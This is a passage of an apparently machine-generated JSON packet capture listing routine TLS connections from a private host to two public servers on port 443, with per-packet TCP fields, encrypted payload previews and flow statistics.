k[\\\\ZS\\u001emI\\u000bIR7\\u000fP2PYr2i$\\u0003OgzB\\u0017a\\u0018-\\u0006\\\">%SW\\u0003w\\u0012p6\\u00153\\u0005\\u0001:h\\u0002Ly\\rB=Qg_\\u001b}\\u0006X\\u0012\\u0011w5+ZzoFuLgue{7\\u000eu\\u001eg\\u007f>b$0fC/[\\u00181R#QAYA\\b;9]s8a\\u000e]SY9\\u0017\\u0019\\u0002u\\u0010te\\u00036.\\u0006X%z\\rmA8x\\u0011\\u0013/2KC6e&I~a\\u001e77fao5t\\u0013kNV0M\\u0010\\u0013'8I\\u0015^\\u001c\\u000eTY{\\u001aa=\\u0015Ta^`\\u000eu\\u007f<;yJt_PwYgU:\\u0000\\u0018\\r\\u0005\\b\\u001dC\\u0002\\u0013\\u0006/\\u0002k~0|G\\\"L\\\"\\u0019oWx\\u0001\\\\#vAV\\u0003\\u001e\\u0012U\\\\A(}6\\u0016||z_/<uS*\\u001e-{_U+%]g\\rc\\\"\\u0011H\\u001b>I:Ov:3hB\\u001ak\\u001cl\\u0015K=W\\u0007X\\u007f;9.MN!\\u000eiq\\u0005_H2j\\u00175WJKOLm\\u001f<I3\\u0010\\u000fK\\u0016^9lp70Xl!0\\u001b<f\\be\\u000f\\u0018&]T3\\t-JW\\\\&int\\u0012DB&_g(]n:\\\\@0(Sy\\u001exl$W\\nAib d%\\u001ce$L\\u001e@yjdy1\\\"W$C+o\\r=GQzhv#\\u001ds.Pe1\\u0013I\\u000b\\u0001,\\u0007(_q=)N \\u001az\\u0019+G\\u0012-i v\\u0015CJ\\u0013&W36\\u007f,t\\u0013#~Z4-ju\\u0001\\rCI;n\\u0005\\u0002NPA'.y\\u0000S\\u001d\\u00119\\u001cKzJ]eL\\u0007RQ\\u0006gp6z8?(>M\\nx\\u0012uh\\u000epMGY}\\nC\\u0000(;\\u001b\\f)z`?-\\u001drs\\\\\\u0002**I$C\\u0016|0\\u0003\\u001b1h\\u00079=7oU\\u0000*r~tp\\u0003\\u00050\\u001fRVy(9~uIpAYX\\fN\\u0017F\\u0002\\u0002W7]Tx^a\\n/>BHm*1\\f\\u0003y-n\\bTx \\u0018dN\\u001475\\u0018z\\u0004\\u000e.u9i%,@uZ@C{\\u0016_\\u0018\\u0018\\u000b,\\u0004b\\u0013X\\u0005wD/3\\u0006\\u001fA\\u0019\\u0012\\u007fdaX\\u001f\\u001f~.-g[KM E5&D\\u000f<)~R\\t\\n\\bixK\\u000b\\u000f\\u0014-foB_N\\\\vB*!049\\u0018Li\\u0006\\u0013\\u001e\\u0015:\\u0019\\u0001\\fG:\\\\x\\tb8 SW\\u0011\\u0014%|j:zQF9\\u001fx%\\\"E\\u0007sU\\u0016,\\u0001,OGE\\u007f^4iU\\u0018}SM@k-\\u0003\\u001eNX8\\u0003\\u001c\\u0005t\\u000bfodu?\\t\\u0016\\\\\\u0004l\\u0005Of;rf\\u0016\\r$'BZJAch9\\u0015n \\u0001\\u001bt\\u0014<Q\\u001f/\\u001fyY9D\\u0010\\u0004}  M\\u0015D\\u0002\\u0012SyM i\\u0014\\u0000\\fK\\u0010/o)afd\\u0019\\u0019Tqek+KEK\\u00031qt\\u0011*(g%0\\u0011}\\\\:;R:hO\\u000e}JqOF\\u001f\\u0005\\t\\u0014_|l+F$P7J)#BQ\\u0017c[\\u0004\\u0010X\\u0014\\f)\\u0011W_?+A\\tDM!}\\tc{CPw#FL3\\u0000T\\u000fUqOfzO\\u001af\\u001a} ,}0r\\u001e\\u0017o(;\\u001f4\\u0019{[p\\f\\u000e/ } <*t>k&7D^\\u0004]lvz7vU#8\\\"Y6\\u001cA\\u0000ZQ[Izvfh3\\u0017Zve|LSSG]\\u007fDW\\u0016@\\u000bM@'hK.!mMMpN<R[eWlxfVO?s\\u0014I\\u0012r%\\u0005\\t\\u001e\\ti.C&K\\u0019NS`B.uw,E)\\u0018sX\\u001c4uAShu|\\u0004jycoh\\u001f\\\"]nMU\\\"W\\u0010G+}U5\\na6\\bw\\u001a%9n\\u0005jh2\\fLA?*FPA%zhNP|b`b.<\\nvRk;V\\u0018)\\u001c(o7~\\u0016k\\u001a]\\u0015C\\u0001/KhD\\u0015'2\\u0010(\\u0000\\u0010DiZ\\u0006O~p}J9~%4m\\u0011\\u0018Q\\u000b\\u0002{\\u0003*`w\\u001e\\u00190zs$R&QL\\u0016\\u0012\\t\\u001a2DnLCUn\\bS\\u000b\\u0010\\u0017VDq}\\t#\\rGTy[0BafvU\\u0010\\u007f\\u000ew\\u00032\\n8'A\\u0015M];gWBY\\t\\u001cxs\\u00033\\u0016TW\\u0000s@LY3]\\u001dpcqE(5q8A\\u00117x\\fy%\\u007fS\\u0004\\u0012N\\u0010jF+q4AuhBo#c\\u001d\\u0016\\u001fGa\\u0000p\\u007fyH\\u001b?Y4\\u001d\\u001avD\\u0010\\u0010kZ\\fQ\\u0003\\u007fe$\\u0011},ZD7,\\u0015V_u\\\"&c\\u0000 }\\nx\\u0000^u\\u0015'st\\u000b7@y\\u0006\\tc<\\u0019$UUl|1?Aa\\u0012`\\u0016,*\\u0018\\u0011RY[\\t\\u0002\\u0000$z;3\\u0013V\\u00111l\\u0013poqGusx\\\"HK.mj7\\u000fJn(\\n5$o\\\\Iy\\u0017#1=l`_\\u0007\\u000bZ`B\\u0006guC\\u00022]N$JiGjJ\\u0011>3;@auoR>1\\u00058+\\u000e\\t&\\u001e+\\r\\u001bA=\\u0002kL\\u0003\\u0010A\\rD|$a\\u001db@AV\\u0000N\\u0012u!pNH0J\\u000eo<B\\u0006\\u0013\\u0001N`C3\\u001cI&\\\"T\\u0005n\\u0002-|\\u0016\\u001at\\rXU(_\\nLF:\\rmS/5DDd9\\u00113\\u0007i@\\u0014Y\\\"?\\u001bQ\\bd3Z/N\\u001e|\\u0013nZ\\u001b#\\\\&^\\u0000Td{P\\u00078?\\u0010\\u000f!\\u001f}S\\n\\\\\\u001b\\nr/J\\u001bC9 1ehUw`v\\u0018Q\\b;'bZ1|\\\"\\u0011E.$S*7c\\u0013\\u0012\\r\\u0001\\u0016=IK/;99NS\\u00067\\tZ$/|k kY\\u0011Jx/=B#m}JD]\\u0006< n\\u0017.\\n\\u0001\\u0000,W~zie\\u000f\\\\$p#\\u0005\\u001e{8t:sgpc~\\u007f@c@\\t>>;/\\u0013x#8M0sa)\\u0007\\u0005dW\\u0013Fg\\u0018x)\\u0004)\\nhsAdkQ`w@7%\\f\\b\\u0004);\\u001b\\u000b\\\\d\\u0017)\\u001fm\\u0007tK%Wv\\u0015V}<u9k\\u0010i7T.8\\u0013P\\u000e+\\u000fN_j\\u0018ah\\rY\\u0002/x7V/j\\\\mJ%\\u0013$b(=\\u0002?\\u001a)H^EQ7D\\t5\\u001eQ\\u000b:;u\\u0005=CI\\u001cE\\u001fu6F\\u0000MU0\\u0004 `LWV\\u0015\\u001dO&Usc\\u0019_\\u0011\\u007f\\\\O\\u001b\"}, {\"packet_number\": 18, \"timestamp\": 1781447314.901562, \"timestamp_iso\": \"2026-06-14T19:58:34.901562\", \"timestamp_human\": \"2026-06-14 19:58:34.901\", \"size\": 831, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"_TLSEncryptedContent\"], \"src_ip\": \"184.30.157.69\", \"dst_ip\": \"10.152.152.11\", \"ttl\": 64, \"ip_id\": 39924, \"ip_len\": 817, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 443, \"dst_port\": 63942, \"tcp_seq\": 616615513, \"tcp_ack\": 2473780001, \"tcp_window\": 63, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": true, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"PSH,ACK\", \"payload_size\": 777, \"payload_preview\": \"b5a9b61b698733140a3871976867de509c97901879180e11f28eb9df903912c8d4369d6520c4eb1fcc00b140085b36f6db0be25ac202a01b65049810c49484a973695b10834971cde46a13e83c4b4670d8c95c56e68a86b3046e1d84467dadf16a0d1c544907c2abbbf353d59076a50e73b5d87b9fe6a713379966fcd6a2035d1c8b6d18432394038c59a3fcc5a26b8716fe9d718e8c65fdf51bdd5b66e86470a33fc80a00724f022e6c07ebdc04d9c3ccc01bab8f54db190ac1913360aad415470acc5a55accc1c98b9bd9a920a8721b8fd1551637dfa5828b50e912883b8057968b68cea4bc3bea76540d31ebba2253989375375a29b06dec4216e5a308e042db97da3bc79131fe570a098db2efc4a4f9614371af6ad4751bdb91cc733e3d69b7e6fd171ee6a3102e98a095464ce89f22f0d1a531fe6cb95f9a59a41341eb99e2fdfa88b45d9c7a2aa6bfaa50e7c1046f67c594f846f5ded0cdb1d6ac84391f2d2c5a2b7962c012ef51d4612cc15e18aadb841ba94f630f593c8da0c61eb097dbcee9d20815f022ae1123ed389313381f1575c2b88c56f1e0a28bf7498a54828960ffe4b2e6d28f55e36cc844dacb8e1e1dda03be7e8be59b9d28c1583b6cc5e3ab699c9c070ea554e696e9296103b11c7fff3f5e2b8d8f222a65971f08ac5e80903ee2376c9d23f159db1ba3acd56715b67a1209ed229333c359e5c3f371cec24a09b86c0357c6a582af083e5695de277c5384409d681e9e3cb7b09cab60a715133cd7531164897e03f6ce8c3c0f0dd956309f0aa6c7d2c9ff8ad23ba34b94eabd3cf14e8db2a58f1f3dd7652d8d084034fc50b9fe8a7aa78ccc4775dca7a38ed256215f8ac32b34e297ad15a501980385cb379302fec69533d7217e23dbece2d3249413283f2153e9bdfe93b80121946092cfbcaa6da43cc9560856d32bcce5f89c00da86d6ddcada0834ef279b26212622b62e27ae3f88b2c5add8cbccd54cba6dfa26ce571931111462f1ab3f2ca2c98f48b89c038a59d641cc8bdc1349dec46cc681966fd130ba7c90b75566c335ef151b4b49f8b2726c4a848e1aadca3097c2694376db185\", \"payload_ascii\": \"\\u001bi3\\u0014\\n8qhgP\\u0018y\\u0018\\u000e\\u00119\\u00126e \\u001f\\u0000@\\b[6\\u000bZ\\u0002\\u001be\\u0004\\u0010si[\\u0010Iqj\\u0013<KFp\\\\V\\u0004n\\u001dF}j\\r\\u001cTI\\u0007Sv\\u000es{\\u00137f\\u0003]\\u001cm\\u0018C#\\u0003Yk\\u0016qe\\u001b[fdp?\\n\\u0000rO\\u0002.l\\u0007\\u0004\\u001bT\\u0019\\n3`\\u0015G\\nZU\\u001c\\n!\\u0015Qc}X(\\u000e(\\u0005yhKe@\\u001e%97Su\\u0006!nZ0\\u0004-}y\\u0013\\u001fp.JO\\u00147\\u001aGQ\\u001c3~oqj1\\u0002\\tTd/\\r\\u001aS\\u001fA4\\u001e/Ek\\u000e|\\u0010F|YOo]\\f\\u001djC,\\u0001.\\u001dF\\u0012\\u0015A0\\fa\\t} _\\u0002*\\u0012>13W\\\\+o\\u001e\\n(tH(\\u000fK.m(^6M;Y\\u0015^:pUNin\\u0010;\\u0011\\\"Yq\\t\\u0003#v?\\u0015:Vq[g )3<5\\\\?7\\u001c$5|jX*i]w8D\\t{\\t\\nqQ3u1\\u0016H?lc\\tl},#4N\\u0014*XvR\\u0003O\\u000bxw]z8%b\\u00152N)zZP\\u00198\\\\y0/iS=r\\u0017=-2IA2\\u0015>;\\u0012\\u0019F\\t,C`m2_\\rmmNyb\\u0012b+bz,ZTlq\\u0011\\u0011F/\\u001a,8d\\u001c4Fh\\u0019f\\u0013\\u000b\\u000buVl3^Q'&H\\t|&7m\"}, {\"packet_number\": 21, \"timestamp\": 1781447315.379069, \"timestamp_iso\": \"2026-06-14T19:58:35.379069\", \"timestamp_human\": \"2026-06-14 19:58:35.379\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"184.30.157.69\", \"dst_ip\": \"10.152.152.11\", \"ttl\": 64, \"ip_id\": 39925, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 443, \"dst_port\": 63942, \"tcp_seq\": 616616290, \"tcp_ack\": 2473780383, \"tcp_window\": 63, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\"}, {\"packet_number\": 22, \"timestamp\": 1781447315.859382, \"timestamp_iso\": \"2026-06-14T19:58:35.859382\", \"timestamp_human\": \"2026-06-14 19:58:35.859\", \"size\": 687, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"TLS\"], \"src_ip\": \"184.30.157.69\", \"dst_ip\": \"10.152.152.11\", \"ttl\": 64, \"ip_id\": 39926, \"ip_len\": 673, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 443, \"dst_port\": 63942, \"tcp_seq\": 616616290, \"tcp_ack\": 2473780383, \"tcp_window\": 63, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": true, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"PSH,ACK\"}], \"tcp_flags\": {\"SYN\": 1, \"ACK\": 12, \"PSH\": 7}, \"packet_sizes\": [66, 54, 542, 3267, 54, 328, 54, 3470, 3958, 831, 54, 687], \"inter_packet_intervals\": [0.0008630752563476562, 0.3057990074157715, 0.06282997131347656, 0.0041429996490478516, 0.2706630229949951, 0.006442070007324219, 0.22087502479553223, 0.01727294921875, 0.007838964462280273, 0.4775071144104004, 0.4803128242492676], \"connection_type\": \"TCP Connection\", \"threat_level\": \"low\", \"duration\": 1.8545470237731934, \"avg_packet_size\": 1113.75, \"packets_per_second\": 6.470582760196201, \"bytes_per_second\": 7206.61154916852, \"min_packet_size\": 54, \"max_packet_size\": 3958, \"median_packet_size\": 542, \"avg_interval\": 0.16859518397938122, \"min_interval\": 0.0008630752563476562, \"max_interval\": 0.4803128242492676}, {\"source\": \"10.152.152.11\", \"target\": \"40.99.204.194\", \"packet_count\": 16, \"total_bytes\": 1650, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"TLS\"], \"src_ports\": [63963], \"dst_ports\": [443], \"first_packet\": 1781447315.882949, \"last_packet\": 1781447330.802041, \"packets\": [{\"packet_number\": 23, \"timestamp\": 1781447315.882949, \"timestamp_iso\": \"2026-06-14T19:58:35.882949\", \"timestamp_human\": \"2026-06-14 19:58:35.882\", \"size\": 66, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"10.152.152.11\", \"dst_ip\": \"40.99.204.194\", \"ttl\": 128, \"ip_id\": 5020, \"ip_len\": 52, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 63963, \"dst_port\": 443, \"tcp_seq\": 4179543433, \"tcp_ack\": 0, \"tcp_window\": 65535, \"tcp_dataofs\": 8, \"tcp_flags\": {\"FIN\": false, \"SYN\": true, \"RST\": false, \"PSH\": false, \"ACK\": false, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"SYN\"}, {\"packet_number\": 25, \"timestamp\": 1781447315.883191, \"timestamp_iso\": \"2026-06-14T19:58:35.883191\", \"timestamp_human\": \"2026-06-14 19:58:35.883\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"10.152.152.11\", \"dst_ip\": \"40.99.204.194\", \"ttl\": 128, \"ip_id\": 5021, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 63963, \"dst_port\": 443, \"tcp_seq\": 4179543434, \"tcp_ack\": 3179308274, \"tcp_window\": 1024, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\"}, {\"packet_number\": 26, \"timestamp\": 1781447315.885829, \"timestamp_iso\": \"2026-06-14T19:58:35.885829\", \"timestamp_human\": \"2026-06-14 19:58:35.885\", \"size\": 257, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"TLS\"], \"src_ip\": \"10.152.152.11\", \"dst_ip\": \"40.99.204.194\", \"ttl\": 128, \"ip_id\": 5022, \"ip_len\": 243, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 63963, \"dst_port\": 443, \"tcp_seq\": 4179543434, \"tcp_ack\": 3179308274, \"tcp_window\": 1024, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": true, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"PSH,ACK\"}, {\"packet_number\": 30, \"timestamp\": 1781447320.196215, \"timestamp_iso\": \"2026-06-14T19:58:40.196215\", \"timestamp_human\": \"2026-06-14 19:58:40.196\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"10.152.152.11\", \"dst_ip\": \"40.99.204.194\", \"ttl\": 128, \"ip_id\": 5023, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 63963, \"dst_port\": 443, \"tcp_seq\": 4179543637, \"tcp_ack\": 3179310226, \"tcp_window\": 1024, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\"}, {\"packet_number\": 32, \"timestamp\": 1781447320.201198, \"timestamp_iso\": \"2026-06-14T19:58:40.201198\", \"timestamp_human\": \"2026-06-14 19:58:40.201\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"10.152.152.11\", \"dst_ip\": \"40.99.204.194\", \"ttl\": 128, \"ip_id\": 5024, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 63963, \"dst_port\": 443, \"tcp_seq\": 4179543637, \"tcp_ack\": 3179312642, \"tcp_window\": 1024, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\"}, {\"packet_number\": 33, \"timestamp\": 1781447320.218596, \"timestamp_iso\": \"2026-06-14T19:58:40.218596\", \"timestamp_human\": \"2026-06-14 19:58:40.218\", \"size\": 212, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"TLS\", \"TLS\", \"TLS\"], \"src_ip\": \"10.152.152.11\", \"dst_ip\": \"40.99.204.194\", \"ttl\": 128, \"ip_id\": 5025, \"ip_len\": 198, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 63963, \"dst_port\": 443, \"tcp_seq\": 4179543637, \"tcp_ack\": 3179312642, \"tcp_window\": 1024, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": true, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"PSH,ACK\", \"payload_size\": 98, \"payload_preview\": \"6104d27d0215488f2f0b5a1b95d8227e702a6d02425c09b95d094eacab9e43751912f908d03f254e01c7e69b2782fd18a3787918a22d7227b8f9cdba5880583016c38612be8daaf6905934aecd2a02b090198459026f145d5d3a0f071993f181e19e\", \"payload_ascii\": \"a\\u0004}\\u0002\\u0015H/\\u000bZ\\u001b\\\"~p*m\\u0002B\\\\\\t]\\tNCu\\u0019\\u0012\\b?%N\\u0001'\\u0018xy\\u0018-r'XX0\\u0016\\u0012Y4*\\u0002\\u0019Y\\u0002o\\u0014]]:\\u000f\\u0007\\u0019\"}, {\"packet_number\": 36, \"timestamp\": 1781447320.977562, \"timestamp_iso\": \"2026-06-14T19:58:40.977562\", \"timestamp_human\": \"2026-06-14 19:58:40.977\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"10.152.152.11\", \"dst_ip\": \"40.99.204.194\", \"ttl\": 128, \"ip_id\": 5026, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 63963, \"dst_port\": 443, \"tcp_seq\": 4179543795, \"tcp_ack\": 3179313069, \"tcp_window\": 1022, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\"}, {\"packet_number\": 37, \"timestamp\": 1781447320.979273, \"timestamp_iso\": \"2026-06-14T19:58:40.979273\", \"timestamp_human\": \"2026-06-14 19:58:40.979\", \"size\": 141, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"TLS\"], \"src_ip\": \"10.152.152.11\", \"dst_ip\": \"40.99.204.194\", \"ttl\": 128, \"ip_id\": 5027, \"ip_len\": 127, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 63963, \"dst_port\": 443, \"tcp_seq\": 4179543795, \"tcp_ack\": 3179313069, \"tcp_window\": 1022, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": true, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"PSH,ACK\"}, {\"packet_number\": 39, \"timestamp\": 1781447320.979388, \"timestamp_iso\": \"2026-06-14T19:58:40.979388\", \"timestamp_human\": \"2026-06-14 19:58:40.979\", \"size\": 92, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"TLS\"], \"src_ip\": \"10.152.152.11\", \"dst_ip\": \"40.99.204.194\", \"ttl\": 128, \"ip_id\": 5028, \"ip_len\": 78, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 63963, \"dst_port\": 443, \"tcp_seq\": 4179543882, \"tcp_ack\": 3179313069, \"tcp_window\": 1022, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": true, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"PSH,ACK\"}, {\"packet_number\": 41, \"timestamp\": 1781447320.980865, \"timestamp_iso\": \"2026-06-14T19:58:40.980865\", \"timestamp_human\": \"2026-06-14 19:58:40.980\", \"size\": 168, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"TLS\"], \"src_ip\": \"10.152.152.11\", \"dst_ip\": \"40.99.204.194\", \"ttl\": 128, \"ip_id\": 5029, \"ip_len\": 154, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 63963, \"dst_port\": 443, \"tcp_seq\": 4179543920, \"tcp_ack\": 3179313069, \"tcp_window\": 1022, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": true, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"PSH,ACK\"}, {\"packet_number\": 44, \"timestamp\": 1781447322.078324, \"timestamp_iso\": \"2026-06-14T19:58:42.078324\", \"timestamp_human\": \"2026-06-14 19:58:42.078\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"10.152.152.11\", \"dst_ip\": \"40.99.204.194\", \"ttl\": 128, \"ip_id\": 5030, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 63963, \"dst_port\": 443, \"tcp_seq\": 4179544034, \"tcp_ack\": 3179314215, \"tcp_window\": 1024, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\"}, {\"packet_number\": 45, \"timestamp\": 1781447322.079644, \"timestamp_iso\": \"2026-06-14T19:58:42.079644\", \"timestamp_human\": \"2026-06-14 19:58:42.079\", \"size\": 118, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"TLS\"], \"src_ip\": \"10.152.152.11\", \"dst_ip\": \"40.99.204.194\", \"ttl\": 128, \"ip_id\": 5031, \"ip_len\": 104, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 63963, \"dst_port\": 443, \"tcp_seq\": 4179544034, \"tcp_ack\": 3179314215, \"tcp_window\": 1024, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": true, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"PSH,ACK\"}, {\"packet_number\": 48, \"timestamp\": 1781447322.650515, \"timestamp_iso\": \"2026-06-14T19:58:42.650515\", \"timestamp_human\": \"2026-06-14 19:58:42.650\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"10.152.152.11\", \"dst_ip\": \"40.99.204.194\", \"ttl\": 128, \"ip_id\": 5032, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 63963, \"dst_port\": 443, \"tcp_seq\": 4179544098, \"tcp_ack\": 3179314850, \"tcp_window\": 1021, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\"}, {\"packet_number\": 49, \"timestamp\": 1781447322.654608, \"timestamp_iso\": \"2026-06-14T19:58:42.654608\", \"timestamp_human\": \"2026-06-14 19:58:42.654\", \"size\": 164, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"TLS\"], \"src_ip\": \"10.152.152.11\", \"dst_ip\": \"40.99.204.194\", \"ttl\": 128, \"ip_id\": 5033, \"ip_len\": 150, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 63963, \"dst_port\": 443, \"tcp_seq\": 4179544098, \"tcp_ack\": 3179314850, \"tcp_window\": 1021, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": true, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"PSH,ACK\"}, {\"packet_number\": 52, \"timestamp\": 1781447322.950316, \"timestamp_iso\": \"2026-06-14T19:58:42.950316\", \"timestamp_human\": \"2026-06-14 19:58:42.950\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"10.152.152.11\", \"dst_ip\": \"40.99.204.194\", \"ttl\": 128, \"ip_id\": 5034, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 63963, \"dst_port\": 443, \"tcp_seq\": 4179544208, \"tcp_ack\": 3179315478, \"tcp_window\": 1019, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\"}, {\"packet_number\": 127, \"timestamp\": 1781447330.802041, \"timestamp_iso\": \"2026-06-14T19:58:50.802041\", \"timestamp_human\": \"2026-06-14 19:58:50.802\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"10.152.152.11\", \"dst_ip\": \"40.99.204.194\", \"ttl\": 128, \"ip_id\": 5035, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 63963, \"dst_port\": 443, \"tcp_seq\": 4179544208, \"tcp_ack\": 3179315478, \"tcp_window\": 0, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": true, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"RST,ACK\"}], \"tcp_flags\": {\"SYN\": 1, \"ACK\": 15, \"PSH\": 7, \"RST\": 1}, \"packet_sizes\": [66, 54, 257, 54, 54, 212, 54, 141, 92, 168, 54, 118, 54, 164, 54, 54], \"inter_packet_intervals\": [0.00024199485778808594, 0.0026378631591796875, 4.3103859424591064, 0.004983186721801758, 0.01739788055419922, 0.7589659690856934, 0.001711130142211914, 0.00011491775512695312, 0.0014770030975341797, 1.097459077835083, 0.00131988525390625, 0.570871114730835, 0.0040929317474365234, 0.29570794105529785, 7.851725101470947], \"connection_type\": \"TCP Connection\", \"threat_level\": \"low\", \"duration\": 14.919091939926147, \"avg_packet_size\": 103.125, \"packets_per_second\": 1.07245133044466, \"bytes_per_second\": 110.59654345210556, \"min_packet_size\": 54, \"max_packet_size\": 257, \"median_packet_size\": 66, \"avg_interval\": 0.9946061293284099, \"min_interval\": 0.00011491775512695312, \"max_interval\": 7.851725101470947}, {\"source\": \"40.99.204.194\", \"target\": \"10.152.152.11\", \"packet_count\": 14, \"total_bytes\": 7972, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"Padding\", \"_TLSEncryptedContent\", \"TLS\"], \"src_ports\": [443], \"dst_ports\": [63963], \"first_packet\": 1781447315.882979, \"last_packet\": 1781447322.950086, \"packets\": [{\"packet_number\": 24, \"timestamp\": 1781447315.882979, 